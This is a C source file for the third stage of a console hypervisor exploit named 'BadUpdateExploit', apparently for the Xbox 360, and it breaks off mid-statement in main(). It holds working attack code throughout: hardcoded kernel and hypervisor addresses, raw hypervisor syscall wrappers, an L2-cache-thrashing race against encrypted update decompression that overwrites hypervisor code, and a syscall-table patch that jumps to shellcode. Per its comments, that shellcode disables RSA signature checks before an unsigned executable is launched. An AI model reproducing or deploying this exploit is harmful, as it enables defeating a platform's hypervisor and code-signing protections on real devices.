32 | //////////////////////////////////////////////////////////////////////////////////////////////////// 33 | // Retail config 34 | //////////////////////////////////////////////////////////////////////////////////////////////////// 35 | 36 | // Offset into the 3rd segment of the hypervisor we want to overwrite. This should point to the absolute last bit 37 | // of code in the segment that we can overwrite and still hit from a syscall. 38 | #define HV_SEG3_OVERWRITE_OFFSET 0x1F28 39 | 40 | // Address into the hypervisor syscall table for the HvxPostOutput entry (syscall 0xD). 41 | #define HV_SYSCALL_POST_OUTPUT_ADDRESS 0x8000010200015FD0 + (0xD * 4) 42 | 43 | /* 44 | Points to the following instruction sequence in _v_DataStorage exception handler: 45 | 46 | mtctr r4 47 | bctr 48 | 49 | This gadget MUST be in the first segment of the hypervisor as we can only write a 32-bit 50 | offset to the syscall entry table. 51 | */ 52 | #define HV_CALL_R4_GADGET_ADDRESS 0x00000354 53 | 54 | // Address of MmPhysical64KBMappingTable in the kernel, we update the mapping table to expose the cipher text for 55 | // the hypervisor segments at the virtual address 0xA0000000. This allows for observing when the cipher text changes 56 | // which indicates we won the race condition and a block has overwritten hypervisor code. 57 | #define MmPhysical64KBMappingTable 0x801C1000 58 | 59 | //////////////////////////////////////////////////////////////////////////////////////////////////// 60 | // Hypervisor syscall ordinals: 61 | #define HVX_KEYS_EXECUTE 0x42 62 | #define HVX_ENCRYPTED_RESERVE_ALLOCATION 0x49 63 | #define HVX_ENCRYPTED_RELEASE_ALLOCATION 0x4C 64 | #define HVX_ENCRYPTED_ENCRYPT_ALLOCATION 0x4A 65 | #define HVX_REVOKE_UPDATE 0x65 66 | #define HVX_ARB_WRITE_SYSCALL 0x21 67 | 68 | 69 | // Drive mapping for exploit files: 70 | #define PAYLOAD_DRIVE "PAYLOAD:" 71 | 72 | //////////////////////////////////////////////////////////////////////////////////////////////////// 73 | // Function addresses: 74 | /* 3 */ void (__cdecl *DbgPrint)(const char* format, ...) = (void(__cdecl*)(const char*, ...))0x80085EE8; 75 | 76 | // Do NOT define DbgBreakPoint on retail or the console will halt!!! 77 | #define DbgBreakPoint(...) 78 | 79 | /* 190 */ ULONG (*MmGetPhysicalAddress)(PVOID pAddress) = (ULONG(*)(PVOID))0x80080048; 80 | /* 97 */ void (*KeFlushCacheRange)(void *pAddress, DWORD Size) = (void(*)(void*, DWORD))0x80073850; 81 | 82 | /* 107 */ ULONG (*KeLockL2)(int index, void* address, ULONG size, ULONG mask1, ULONG mask2) = (ULONG(*)(int, void*, ULONG, ULONG, ULONG))0x80071E00; 83 | 84 | /* 168 */ void (*KeStallExecutionProcessor)(ULONG Miliseconds) = (void(*)(ULONG))0x80073484; 85 | 86 | /* 300 */ VOID (*RtlInitAnsiString)(ANSI_STRING* pAnsiStr, char *String) = (VOID(*)(ANSI_STRING*, char*))0x80086110; 87 | /* 259 */ UINT (*ObCreateSymbolicLink)( ANSI_STRING* SymbolicLinkName, ANSI_STRING* DeviceName ) = (UINT(*)(ANSI_STRING*, ANSI_STRING*))0x8008AEF0; 88 | 89 | /* 41 */ void (*HalSendSMCMessage)(BYTE* pMessage, BOOL bResponse) = (void(*)(BYTE*, BOOL))0x80067F48; 90 | 91 | /* 434 */ void (*VdDisplayFatalError)(DWORD code) = (void(*)(DWORD))0x800BDD40; 92 | 93 | /* 207 */ DWORD (*NtClose)(HANDLE hHandle) = (DWORD(*)(HANDLE))0x80089EB0; 94 | 95 | #endif 96 | 97 | // Sanity checks for exploit data: 98 | #if (HV_SEG3_OVERWRITE_OFFSET < BLOCK_14_TARGET_OFFSET) 99 | #error "HV_SEG3_OVERWRITE_OFFSET must be >= BLOCK_14_TARGET_OFFSET!!" 100 | #endif 101 | 102 | 103 | // Exploit error codes: 104 | #define ERR_OPEN_UPDATE_FILE 0 // Failed to open update_data.bin 105 | #define ERR_UPDATE_FILE_OOM 1 // Failed to allocate memory for update file 106 | #define ERR_READING_UPDATE_FILE 2 // Failed to read the update file 107 | #define ERR_OPEN_SHELLCODE_FILE 3 // Failed to open BadUpdateExploit-4thStage.bin 108 | #define ERR_SHELLCODE_FILE_OOM 4 // Failed to allocate memory for shell code file 109 | #define ERR_READING_SHELLCODE_FILE 5 // Failed to read shell code file 110 | #define ERR_LOCKL2_OOM 6 // Failed to allocate memory for LockL2 call 111 | #define ERR_LOCKL2_RESERVE 7 // Failed to reserve L2 space 112 | #define ERR_LOCKL2_COMMIT 8 // Failed to commit L2 space 113 | #define ERR_ENCRYPTED_RESERVE 9 // Failed to reserve encrypted memory 114 | #define ERR_ENCRYPTED_COMMIT 10 // Failed to encrypted reserved memory region 115 | #define ERR_CACHE_FLUSH_BUFFER_OOM 11 // Failed to allocate memory for cache flushing buffer 116 | #define ERR_CIPHER_TEXT_BUFFER_OOM 12 // Failed to allocate memory for cipher text buffer 117 | #define ERR_UPDATE_DATA_OOM 13 // Failed to allocate memory for update data buffer 118 | #define ERR_XKE_OOM_1 14 // Failed to allocate memory for XKE payload buffer (working) 119 | #define ERR_XKE_OOM_2 15 // Failed to allocate memory for XKE payload buffer (clean) 120 | #define ERR_READING_XKE_PAYLOAD_FILE 16 // Failed to read xke_update.bin 121 | #define ERR_CREATING_WORKER_THREAD 17 // Failed to create worker thread 122 | #define ERR_EXPLOIT_PAYLOAD_FAILED 18 // Exploit payload failed to run 123 | 124 | 125 | static ULONGLONG __declspec(naked) HvxKeysExecute(ULONG Address, DWORD Size, ULONGLONG Arg1, ULONGLONG Arg2, ULONGLONG Arg3, ULONGLONG Arg4) 126 | { 127 | _asm 128 | { 129 | li r0, HVX_KEYS_EXECUTE 130 | sc 131 | blr 132 | } 133 | } 134 | 135 | static BOOL __declspec(naked) HvxEncryptedReserveAllocation(ULONG VirtualAddr, ULONG PhysicalAddr, ULONG Size) 136 | { 137 | _asm 138 | { 139 | li r0, HVX_ENCRYPTED_RESERVE_ALLOCATION 140 | sc 141 | blr 142 | } 143 | } 144 | 145 | static BOOL __declspec(naked) HvxEncryptedEncryptAllocation(ULONG VirtualAddr) 146 | { 147 | _asm 148 | { 149 | li r0, HVX_ENCRYPTED_ENCRYPT_ALLOCATION 150 | sc 151 | blr 152 | } 153 | } 154 | 155 | static BOOL __declspec(naked) HvxEncryptedReleaseAllocation(ULONG VirtualAddr) 156 | { 157 | _asm 158 | { 159 | li r0, HVX_ENCRYPTED_RELEASE_ALLOCATION 160 | sc 161 | blr 162 | } 163 | } 164 | 165 | static ULONG __declspec(naked) HvxRevokeUpdate(ULONG BufferAddr, ULONG BufferSize, ULONG Arg3) 166 | { 167 | _asm 168 | { 169 | li r0, HVX_REVOKE_UPDATE 170 | sc 171 | blr 172 | } 173 | } 174 | 175 | static void __declspec(naked) HvxWriteByte(ULONG ordinal, ULONG address, ULONG size, ULONGLONG writeAddr) 176 | { 177 | _asm 178 | { 179 | li r0, HVX_ARB_WRITE_SYSCALL 180 | sc 181 | blr 182 | } 183 | } 184 | 185 | struct UPDATE_BUFFER_INFO 186 | { 187 | /* 0x00 */ ULONG TotalSize; // Total size of the update buffer, must match input param 188 | /* 0x04 */ ULONG InfoSize; // Size of this structure, must be 0x80 189 | /* 0x08 */ BYTE _pad0[0x18]; 190 | /* 0x20 */ ULONG UpdateDataOffset; // Offset of the update data blob 191 | /* 0x24 */ ULONG UpdateDataSize; // Size of the update data blob 192 | /* 0x28 */ ULONG OutputBufferOffset; // Offset of the output data buffer 193 | /* 0x2C */ ULONG OutputBufferSize; // Size of the output data buffer (should match decompressed size found in update data header) 194 | /* 0x30 */ ULONG ScratchBufferOffset; // Offset of the scratch buffer used for LZX decompression 195 | /* 0x34 */ ULONG ScratchBufferSize; // Size of the scratch buffer 196 | /* 0x38 */ ULONG Buffer2Offset; // Offset of last buffer, not sure what the use is (final output buffer?) 197 | /* 0x3C */ ULONG Buffer2Size; // Size of last buffer 198 | 199 | /* 0x60 */ //ULONG 200 | /* 0x64 */ //ULONG 201 | }; 202 | 203 | #define CACHE_LINE_SIZE 0x80 204 | #define CACHE_ALIGN(s) (((s) + 0x7F) & ~0x7F) 205 | #define PAGE_ALIGN_64K(s) (((s) + 0xFFFF) & ~0xFFFF) 206 | 207 | struct THREAD_ARGS 208 | { 209 | BYTE* pCompressedDataClean; 210 | DWORD CompressedDataSize; 211 | BYTE* pCompressedDataInBuffer; 212 | BYTE* pPayloadClean; 213 | BYTE* pPayloadBuffer; 214 | DWORD PayloadPhys; 215 | DWORD PayloadSize; 216 | DWORD UpdateDataPhys; 217 | DWORD UpdateDataSize; 218 | BYTE* pScratchDataInBuffer; 219 | DWORD ScratchDataOffset; 220 | DWORD ScratchDataSize; 221 | 222 | ULONGLONG HvCheckAddress; 223 | ULONGLONG ShellCodePhysAddress; 224 | 225 | BYTE* pScratchBuffer; 226 | }; 227 | 228 | struct CIPHER_TEXT_DATA 229 | { 230 | ULONGLONG dec_end_input_pos; 231 | ULONGLONG dec_output_buffer; // New dec_output_buffer pointer (dst address for memcpy) 232 | 233 | BYTE OracleData[16]; // Cipher text for the LZX decoder context header, used to detect when to start the race attack 234 | BYTE DecOutputBufferData[16]; // Cipher text containing our malicious dec_output_buffer pointer (points to hypervisor memory) 235 | }; 236 | 237 | /* 238 | Hand rolled implementation for XLockL2. 239 | */ 240 | BOOL WINAPI XLockL2(DWORD dwIndex, CONST PVOID pRangeStart, DWORD dwRangeSize, DWORD dwLockSize, DWORD dwFlags) 241 | { 242 | ULONG maskValue = (dwLockSize == (256 * 1024) ? 0x3 : 0x1) << (2 * dwIndex); 243 | 244 | ULONG mask1 = (dwFlags & 0x1) != 0 ? 0 : maskValue; 245 | ULONG mask2 = (dwFlags & 0x2) != 0 ? 0 : maskValue; 246 | 247 | ULONG result = KeLockL2(dwIndex, pRangeStart, dwRangeSize, mask1, mask2); 248 | return result == 0 ? TRUE : FALSE; 249 | } 250 | 251 | bool ReadFile(LPCSTR pFilePath, BYTE* pBuffer, DWORD Offset, DWORD BufferSize) 252 | { 253 | DWORD BytesRead = 0; 254 | 255 | HANDLE hFile = CreateFile(pFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 256 | if (hFile == INVALID_HANDLE_VALUE) 257 | { 258 | DbgPrint("Failed to open '%s' %d\n", pFilePath, GetLastError()); 259 | return false; 260 | } 261 | 262 | DWORD fileSize = GetFileSize(hFile, NULL); 263 | if (fileSize > BufferSize - Offset) 264 | { 265 | DbgPrint("Error reading file, buffer not large enough to hold data!\n"); 266 | NtClose(hFile); 267 | return false; 268 | } 269 | 270 | if (ReadFile(hFile, pBuffer + Offset, fileSize, &BytesRead, NULL) == FALSE || BytesRead != fileSize) 271 | { 272 | DbgPrint("Error reading file '%s' %d\n", pFilePath, GetLastError()); 273 | NtClose(hFile); 274 | return false; 275 | } 276 | 277 | NtClose(hFile); 278 | return true; 279 | } 280 | 281 | bool CreateDriveMapping(char * szMappingName, char * szDeviceName) 282 | { 283 | ANSI_STRING linkname, devicename; 284 | 285 | RtlInitAnsiString(&linkname, szMappingName); 286 | RtlInitAnsiString(&devicename, szDeviceName); 287 | 288 | UINT status = ObCreateSymbolicLink(&linkname, &devicename); 289 | if (status >= 0) 290 | return true; 291 | 292 | return false; 293 | } 294 | 295 | #define LED_COLOR_RED_1 0x01 296 | #define LED_COLOR_RED_2 0x02 297 | #define LED_COLOR_RED_3 0x04 298 | #define LED_COLOR_RED_4 0x08 299 | #define LED_COLOR_GREEN_1 0x10 300 | #define LED_COLOR_GREEN_2 0x20 301 | #define LED_COLOR_GREEN_3 0x40 302 | #define LED_COLOR_GREEN_4 0x80 303 | 304 | void SetLEDColor(int color) 305 | { 306 | BYTE abSmcCmd[16] = { 0 }; 307 | 308 | abSmcCmd[0] = 0x99; 309 | abSmcCmd[1] = 0xFF; 310 | abSmcCmd[2] = (BYTE)color; 311 | 312 | HalSendSMCMessage(abSmcCmd, FALSE); 313 | } 314 | 315 | bool ReadUpdateFile(BYTE** ppCompressedDataClean, DWORD* pdwCompressedDataSize) 316 | { 317 | DWORD BytesRead = 0; 318 | 319 | // Open the update file for reading. 320 | HANDLE hFile = CreateFile(PAYLOAD_DRIVE "\\update_data.bin", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 321 | if (hFile == INVALID_HANDLE_VALUE) 322 | { 323 | DbgPrint("Failed to open update data file\n"); 324 | DbgBreakPoint(); 325 | VdDisplayFatalError(0x12400 | ERR_OPEN_UPDATE_FILE); 326 | return false; 327 | } 328 | 329 | // Get the size of the file. 330 | DWORD dwFileSize = GetFileSize(hFile, NULL); 331 | 332 | // Allocate memory for the clean update data buffer. 333 | BYTE* pBuffer = (BYTE*)XPhysicalAlloc(dwFileSize, MAXULONG_PTR, 0, PAGE_READWRITE); 334 | if (pBuffer == NULL) 335 | { 336 | DbgPrint("Failed to allocate memory for update data\n"); 337 | DbgBreakPoint(); 338 | VdDisplayFatalError(0x12400 | ERR_UPDATE_FILE_OOM); 339 | } 340 | 341 | memset(pBuffer, 0, dwFileSize); 342 | 343 | // Read the file into memory. 344 | if (ReadFile(hFile, pBuffer, dwFileSize, &BytesRead, NULL) == false || BytesRead != dwFileSize) 345 | { 346 | DbgPrint("Failed to read update data file\n"); 347 | DbgBreakPoint(); 348 | VdDisplayFatalError(0x12400 | ERR_READING_UPDATE_FILE); 349 | return false; 350 | } 351 | 352 | // Update the pointers for the update data. 353 | *ppCompressedDataClean = pBuffer; 354 | *pdwCompressedDataSize = dwFileSize; 355 | 356 | NtClose(hFile); 357 | return true; 358 | } 359 | 360 | bool ReadShellCodeFile(BYTE** ppShellCodeBuffer, DWORD* pdwShellCodeBufferSize) 361 | { 362 | DWORD BytesRead = 0; 363 | 364 | // Open the update file for reading. 365 | HANDLE hFile = CreateFile(PAYLOAD_DRIVE "\\BadUpdateExploit-4thStage.bin", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 366 | if (hFile == INVALID_HANDLE_VALUE) 367 | { 368 | DbgPrint("Failed to open shell code file\n"); 369 | DbgBreakPoint(); 370 | VdDisplayFatalError(0x12400 | ERR_OPEN_SHELLCODE_FILE); 371 | return false; 372 | } 373 | 374 | // Get the size of the file. 375 | DWORD dwFileSize = GetFileSize(hFile, NULL); 376 | DWORD dwBufferSize = (dwFileSize + 0x7F) & ~0x7F; 377 | 378 | // Allocate memory for the clean update data buffer. 379 | BYTE* pBuffer = (BYTE*)XPhysicalAlloc(dwBufferSize, MAXULONG_PTR, 0x10000, PAGE_READWRITE | PAGE_NOCACHE | MEM_LARGE_PAGES); 380 | if (pBuffer == NULL) 381 | { 382 | DbgPrint("Failed to allocate memory for shell code data\n"); 383 | DbgBreakPoint(); 384 | VdDisplayFatalError(0x12400 | ERR_SHELLCODE_FILE_OOM); 385 | } 386 | 387 | memset(pBuffer, 0, dwBufferSize); 388 | 389 | // Read the file into memory. 390 | if (ReadFile(hFile, pBuffer, dwFileSize, &BytesRead, NULL) == false || BytesRead != dwFileSize) 391 | { 392 | DbgPrint("Failed to read shell code file\n"); 393 | DbgBreakPoint(); 394 | VdDisplayFatalError(0x12400 | ERR_READING_SHELLCODE_FILE); 395 | return false; 396 | } 397 | 398 | // Update the pointers for the update data. 399 | *ppShellCodeBuffer = pBuffer; 400 | *pdwShellCodeBufferSize = dwBufferSize; 401 | 402 | NtClose(hFile); 403 | return true; 404 | } 405 | 406 | /* 407 | Helper function to lock a portion of the L2 cache. This puts pressure on CPU L2 cache and causes data 408 | to age out more quickly. 409 | */ 410 | void LockAndThrashL2(int index) 411 | { 412 | // Allocate a block of 256kb cachable physical memory that will be used to lock the L2 range. 413 | BYTE* pPhysMemoryPtr = (BYTE*)XPhysicalAlloc(256 * 1024, MAXULONG_PTR, 256 * 1024, PAGE_READWRITE | MEM_LARGE_PAGES); 414 | if (pPhysMemoryPtr == NULL) 415 | { 416 | DbgPrint("Failed to allocate memory for L2 cache lock\n"); 417 | DbgBreakPoint(); 418 | VdDisplayFatalError(0x12400 | ERR_LOCKL2_OOM); 419 | } 420 | 421 | // Reserve L2 cache and lock 2 of the available pathways. 422 | if (XLockL2(index, pPhysMemoryPtr, 256 * 1024, 0x40000, 0) == FALSE) 423 | { 424 | DbgPrint("Failed to reserve L2 cache range\n"); 425 | DbgBreakPoint(); 426 | VdDisplayFatalError(0x12400 | ERR_LOCKL2_RESERVE); 427 | } 428 | 429 | // Fill the cache with trash data. 430 | memset(pPhysMemoryPtr, 0x41, 256 * 1024); 431 | 432 | // Commit the L2 cache range and prevent it from being replaced. 433 | if (XLockL2(index, pPhysMemoryPtr, 256 * 1024, 0x40000, 0x1) == FALSE) 434 | { 435 | DbgPrint("Failed to commmit L2 cache range\n"); 436 | DbgBreakPoint(); 437 | VdDisplayFatalError(0x12400 | ERR_LOCKL2_COMMIT); 438 | } 439 | } 440 | 441 | /* 442 | Generates the cipher text needed for the race attack. 443 | */ 444 | void BuildCipherTextLookupTable(BYTE* pUpdateData, DWORD UpdateDataSize, DWORD ScratchOffset, CIPHER_TEXT_DATA* pCipherTextData) 445 | { 446 | BYTE *pMemoryAddress = (BYTE*)0x8D000000; 447 | 448 | // Get the physical addresses of the buffers. 449 | DWORD ScratchPhysAddr = MmGetPhysicalAddress(pCipherTextData); 450 | DWORD BaseAddrPhys = MmGetPhysicalAddress(pUpdateData); 451 | 452 | // Scan all 1024 possible whitening bits. 453 | for (int i = 0; i < 1024; i++) 454 | { 455 | // Allocate encrypted memory. 456 | DWORD result = HvxEncryptedReserveAllocation((DWORD)pMemoryAddress, BaseAddrPhys, UpdateDataSize); 457 | if (result == FALSE) 458 | { 459 | DbgPrint("Failed to reserve encrypted memory 0x%08x\n", result); 460 | DbgBreakPoint(); 461 | VdDisplayFatalError(0x12400 | ERR_ENCRYPTED_RESERVE); 462 | return; 463 | } 464 | 465 | result = HvxEncryptedEncryptAllocation((DWORD)pMemoryAddress); 466 | if (result == FALSE) 467 | { 468 | DbgPrint("Failed to commit encrypted memory 0x%08x\n", result); 469 | DbgBreakPoint(); 470 | VdDisplayFatalError(0x12400 | ERR_ENCRYPTED_COMMIT); 471 | return; 472 | } 473 | 474 | // Pick a random whitening value to target for the race attack. 475 | if (i == 0x111) 476 | { 477 | // Get the cipher text for the expected header data in the LZX decoder context. This acts as our 478 | // "oracle" to know when to start the race attack. 479 | memset(pMemoryAddress + ScratchOffset, 0, 16); 480 | *(ULONG*)(pMemoryAddress + ScratchOffset + 0) = 0x4349444c; // signature = 'CIDL' 481 | *(ULONG*)(pMemoryAddress + ScratchOffset + 4) = 0x8000; // windows size = 0x8000 482 | *(ULONG*)(pMemoryAddress + ScratchOffset + 8) = 1; // cpu type = 1 483 | __dcbst(ScratchOffset, pMemoryAddress); 484 | 485 | KeFlushCacheRange(pMemoryAddress + ScratchOffset, 0x80); 486 | KeFlushCacheRange(pUpdateData + ScratchOffset, 0x80); 487 | memcpy(pCipherTextData->OracleData, pUpdateData + ScratchOffset, 16); 488 | 489 | // Get the cipher text for our malicious dec_output_buffer pointer which points to the hypervisor code we want to overwrite. 490 | *(ULONGLONG*)(pMemoryAddress + ScratchOffset + 0x2B20) = pCipherTextData->dec_end_input_pos; // dec_end_input_pos 491 | *(ULONGLONG*)(pMemoryAddress + ScratchOffset + 0x2B28) = pCipherTextData->dec_output_buffer; // dec_output_buffer 492 | __dcbst(ScratchOffset + 0x2B00, pMemoryAddress); 493 | 494 | KeFlushCacheRange(pMemoryAddress + ScratchOffset + 0x2B00, 0x80); 495 | KeFlushCacheRange(pUpdateData + ScratchOffset + 0x2B00, 0x80); 496 | memcpy(pCipherTextData->DecOutputBufferData, pUpdateData + ScratchOffset + 0x2B20, 16); 497 | 498 | DbgPrint("Found cipher text for whitening 0x%04x: %08x%08x %08x%08x\n", i, *(DWORD*)pCipherTextData->OracleData, *(DWORD*)&pCipherTextData->OracleData[4], 499 | *(DWORD*)pCipherTextData->DecOutputBufferData, *(DWORD*)&pCipherTextData->DecOutputBufferData[4]); 500 | } 501 | 502 | // Free the encrypted allocation. 503 | result = HvxEncryptedReleaseAllocation((DWORD)pMemoryAddress); 504 | 505 | // Bail out once we find the cipher text we want. 506 | if (i == 0x111) 507 | break; 508 | } 509 | } 510 | 511 | ULONG __declspec(naked) HvxPostOutputExploit(ULONG r3, ULONGLONG shellCodeAddress) 512 | { 513 | _asm 514 | { 515 | li r0, 0xD 516 | sc 517 | blr 518 | } 519 | } 520 | 521 | /* 522 | Helper function that utilizes the single by write primitive to write a 32-bit integer at the chosen 64-bit real address. 523 | */ 524 | void HvWriteULONG(ULONGLONG address, ULONG value) 525 | { 526 | /* 527 | stb r4, 2(r6) 528 | blr 529 | */ 530 | HvxWriteByte(4, 0x60000 | (ULONG)((value >> 24) & 0xFF), 0x1000, address - 2); 531 | HvxWriteByte(4, 0x60000 | (ULONG)((value >> 16) & 0xFF), 0x1000, address - 2 + 1); 532 | HvxWriteByte(4, 0x60000 | (ULONG)((value >> 8) & 0xFF), 0x1000, address - 2 + 2); 533 | HvxWriteByte(4, 0x60000 | (ULONG)(value & 0xFF), 0x1000, address - 2 + 3); 534 | } 535 | 536 | /* 537 | Worker thread that continuously runs the XKE update payload, watches for cipher text changes in the hypervisor, and 538 | runs the fourth stage payload once the race has been won with block 14. 539 | */ 540 | DWORD RunUpdatePayloadThreadProc(THREAD_ARGS* pArgs) 541 | { 542 | DWORD LedColor = LED_COLOR_RED_1 | LED_COLOR_RED_4 | LED_COLOR_GREEN_1 | LED_COLOR_GREEN_4; 543 | 544 | // Allocate a scratch buffer to help with flushing L2 cache in hypervisor context. 545 | BYTE* pCacheFlushBuffer = (BYTE*)XPhysicalAlloc(0x20000, MAXULONG_PTR, 0x10000, PAGE_READWRITE | MEM_LARGE_PAGES); 546 | if (pCacheFlushBuffer == NULL) 547 | { 548 | DbgPrint("Failed to allocate memory for cache flush buffer\n"); 549 | DbgBreakPoint(); 550 | VdDisplayFatalError(0x12400 | ERR_CACHE_FLUSH_BUFFER_OOM); 551 | } 552 | 553 | ULONG CacheFlushBufferPhys = MmGetPhysicalAddress(pCacheFlushBuffer); 554 | 555 | // Lock half of the available L2 cache and pathways to put pressure on the CPU. This causes data in L2 cache to 556 | // age out more quickly and improves cipher text detection rate. 557 | LockAndThrashL2(0); 558 | LockAndThrashL2(1); 559 | 560 | // Poke MmPhysical64KBMappingTable so the hypervisor pages get mapped into memory. This allows us to observe the cipher 561 | // text for the hypervisor segments and know when we get the block overwrite we want. 562 | DWORD oldAccessMask = *(DWORD*)MmPhysical64KBMappingTable; 563 | *(DWORD*)MmPhysical64KBMappingTable = 0x66666666; 564 | 565 | // Get the cipher text at the location we want to overwrite and at an offset that is > the size of block 14. This allows 566 | // us to determine when we win the race on block 14 (smallest block in the file) vs any other block. 567 | DWORD* pCipherTextPtr1 = (DWORD*)(0xA0030000 + HV_SEG3_OVERWRITE_OFFSET); 568 | DWORD* pCipherTextPtr2 = (DWORD*)(0xA0030000 + (HV_SEG3_OVERWRITE_OFFSET - BLOCK_14_TARGET_OFFSET) + BLOCK_14_SIZE + 0x80); 569 | DWORD cipherValue1 = *pCipherTextPtr1; 570 | DWORD cipherValue2 = *pCipherTextPtr2; 571 | 572 | // Loop and hammer the payload until we hopefully get code exec. 573 | while (true) 574 | { 575 | // Copy the clean payload data. 576 | memcpy(pArgs->pPayloadBuffer, pArgs->pPayloadClean, pArgs->PayloadSize); 577 | 578 | // Copy the clean update data into the full buffer. 579 | memcpy(pArgs->pCompressedDataInBuffer, pArgs->pCompressedDataClean, pArgs->CompressedDataSize); 580 | 581 | // Execute the payload. 582 | DWORD result = HvxKeysExecute(pArgs->PayloadPhys, pArgs->PayloadSize, pArgs->UpdateDataPhys, pArgs->UpdateDataSize, NULL, NULL); 583 | 584 | // Flush cache on the cipher text pointers. 585 | __dcbf(0, pCipherTextPtr1); 586 | 587 | // Check if we got a block overwrite and if it appears to be block 14. 588 | DWORD test1 = *pCipherTextPtr1; 589 | if (cipherValue1 != test1) 590 | { 591 | // Flush cache on the secondary cipher text pointer. This one MUST be thorough or else we risk fetching stale data 592 | // and trying to execute the post-block-write part of the exploit which will cause the console to hang. 593 | HvxRevokeUpdate(CacheFlushBufferPhys, 0x20000, 0); 594 | __dcbf(0, pCipherTextPtr2); 595 | 596 | // Note: on debug builds I've seen this check pass when the cipher text had actually changed (i.e.: stale cache) and 597 | // hang the console. I tried to improve it further but had no success in doing so. I have yet to see this fail on retail 598 | // consoles so until it happens this should be fine for now... 599 | 600 | // We got a block overwrite, check if it was block 14. 601 | DWORD test2 = *pCipherTextPtr2; 602 | if (cipherValue2 == test2) 603 | { 604 | // Set the LED color so we know we got the block hit. 605 | SetLEDColor(LED_COLOR_GREEN_1 | LED_COLOR_GREEN_2 | LED_COLOR_GREEN_3); 606 | 607 | DbgPrint("Block 14 overwrite hit!\n"); 608 | 609 | // Overwrite the syscall function pointer for HvxPostOutput to point to a gadget that will jump to an arbitrary address. 610 | DbgPrint(" * Patching hv syscall table\n"); 611 | HvWriteULONG(HV_SYSCALL_POST_OUTPUT_ADDRESS, HV_CALL_R4_GADGET_ADDRESS); 612 | 613 | // Try to execute our shell code which will restore the data we trashed in the last hypervisor segment and patch out 614 | // the RSA signature checks on executable files. 615 | DbgPrint(" * Running payload\n"); 616 | result = HvxPostOutputExploit(0, pArgs->ShellCodePhysAddress); 617 | if (result != 0x41414141) 618 | { 619 | // Exploit payload failed to run. 620 | DbgBreakPoint(); 621 | VdDisplayFatalError(0x12400 | ERR_EXPLOIT_PAYLOAD_FAILED); 622 | } 623 | 624 | DbgPrint(" * Payload returned 0x%08x\n", result); 625 | //DbgBreakPoint(); 626 | 627 | // Restore the old access mask for MmPhysical64KBMappingTable. 628 | *(DWORD*)MmPhysical64KBMappingTable = oldAccessMask; 629 | 630 | // Set the LED color so we know the exploit completed. 631 | SetLEDColor(LED_COLOR_GREEN_1 | LED_COLOR_GREEN_2 | LED_COLOR_GREEN_3 | LED_COLOR_GREEN_4); 632 | 633 | // Run our unsigned xex file. 634 | XLaunchNewImage(PAYLOAD_DRIVE "\\default.xex", 0); 635 | } 636 | else 637 | { 638 | DbgPrint("Race hit: 0x%08x\n", test1); 639 | } 640 | 641 | // Save the latest block hit values. 642 | cipherValue1 = test1; 643 | cipherValue2 = test2; 644 | 645 | // Update LED color to indicate we got a block hit. 646 | SetLEDColor(LedColor); 647 | LedColor = ~LedColor & 0xFF; 648 | } 649 | } 650 | } 651 | 652 | void __cdecl main() 653 | { 654 | ULONG UpdateDataSize = 0x40000 + 0x80000; 655 | ULONG PayloadDataSize = 0x6000; 656 | 657 | BYTE* pCleanUpdateData = NULL; 658 | DWORD CleanUpdateDataSize = 0; 659 | 660 | BYTE* pShellCodeData = NULL; 661 | DWORD ShellCodeDataSize = 0; 662 | 663 | THREAD_ARGS ThreadArgs = { 0 }; 664 | 665 | // Set the LED color so we know the 3rd stage payload started. 666 | SetLEDColor(LED_COLOR_RED_1 | LED_COLOR_RED_2 | LED_COLOR_RED_3 | LED_COLOR_GREEN_1 | LED_COLOR_GREEN_2 | LED_COLOR_GREEN_3); 667 | 668 | // Read the update file. 669 | if (ReadUpdateFile(&pCleanUpdateData, &CleanUpdateDataSize) == false) 670 | { 671 | return; 672 | } 673 | 674 | // Read the exploit shell code. 675 | if (ReadShellCodeFile(&pShellCodeData, &ShellCodeDataSize) == false) 676 | { 677 | return; 678 | } 679 | 680 | // Get the full physical address of the shell code buffer. 681 | ULONGLONG ShellCodePhys = 0x8000000000000000 | MmGetPhysicalAddress(pShellCodeData); 682 | 683 | // Allocate some physical memory to store the cipher text we want to write. 684 | BYTE* pCipherTextBuffer = (BYTE*)XPhysicalAlloc(0x3000, MAXULONG_PTR, 0x80, PAGE_READWRITE | PAGE_NOCACHE); 685 | if (pCipherTextBuffer == NULL) 686 | { 687 | DbgPrint("Failed to allocate memory for cipher text\n"); 688 | DbgBreakPoint(); 689 | VdDisplayFatalError(0x12400 | ERR_CIPHER_TEXT_BUFFER_OOM); 690 | return; 691 | } 692 | 693 | memset(pCipherTextBuffer, 0, 0x3000); 694 | 695 | // Allocate a 64k block of memory for the update data. 696 | BYTE* pUpdateData = (BYTE*)XPhysicalAlloc(UpdateDataSize, MAXULONG_PTR, 0x10000, PAGE_READWRITE | PAGE_NOCACHE | MEM_LARGE_PAGES); 697 | if (pUpdateData == NULL) 698 | { 699 | DbgPrint("Failed to allocate memory for update data\n"); 700 | DbgBreakPoint(); 701 | VdDisplayFatalError(0x12400 | ERR_UPDATE_DATA_OOM); 702 | return; 703 | } 704 | 705 | // Initialize update data. 706 | memset(pUpdateData, 0, UpdateDataSize); 707 | 708 | // Setup cipher text parameters. 709 | CIPHER_TEXT_DATA* pCipherTextInputData = (CIPHER_TEXT_DATA*)pCipherTextBuffer; 710 | pCipherTextInputData->dec_end_input_pos = 0xFFFFFFFFFFFFFFFF; 711 | pCipherTextInputData->dec_output_buffer = 0x8000010600030000 + (HV_SEG3_OVERWRITE_OFFSET - BLOCK_14_TARGET_OFFSET); 712 | 713 | // Get the size of the decompressed update data. 714 | DWORD updateDataDecompressedSize = *(DWORD*)(pCleanUpdateData + 0x1C); 715 | 716 | DWORD outputOffset = PAGE_ALIGN_64K(CACHE_LINE_SIZE + CACHE_ALIGN(CleanUpdateDataSize)); 717 | DWORD scratchOffset = CACHE_ALIGN(outputOffset + CACHE_ALIGN(updateDataDecompressedSize)); 718 | BuildCipherTextLookupTable(pUpdateData, UpdateDataSize, scratchOffset, pCipherTextInputData); 719 | 720 | 721 | // Initialize update data. 722 | memset(pUpdateData, 0, UpdateDataSize); 723 | 724 | UPDATE_BUFFER_INFO* pUpdateInfo = 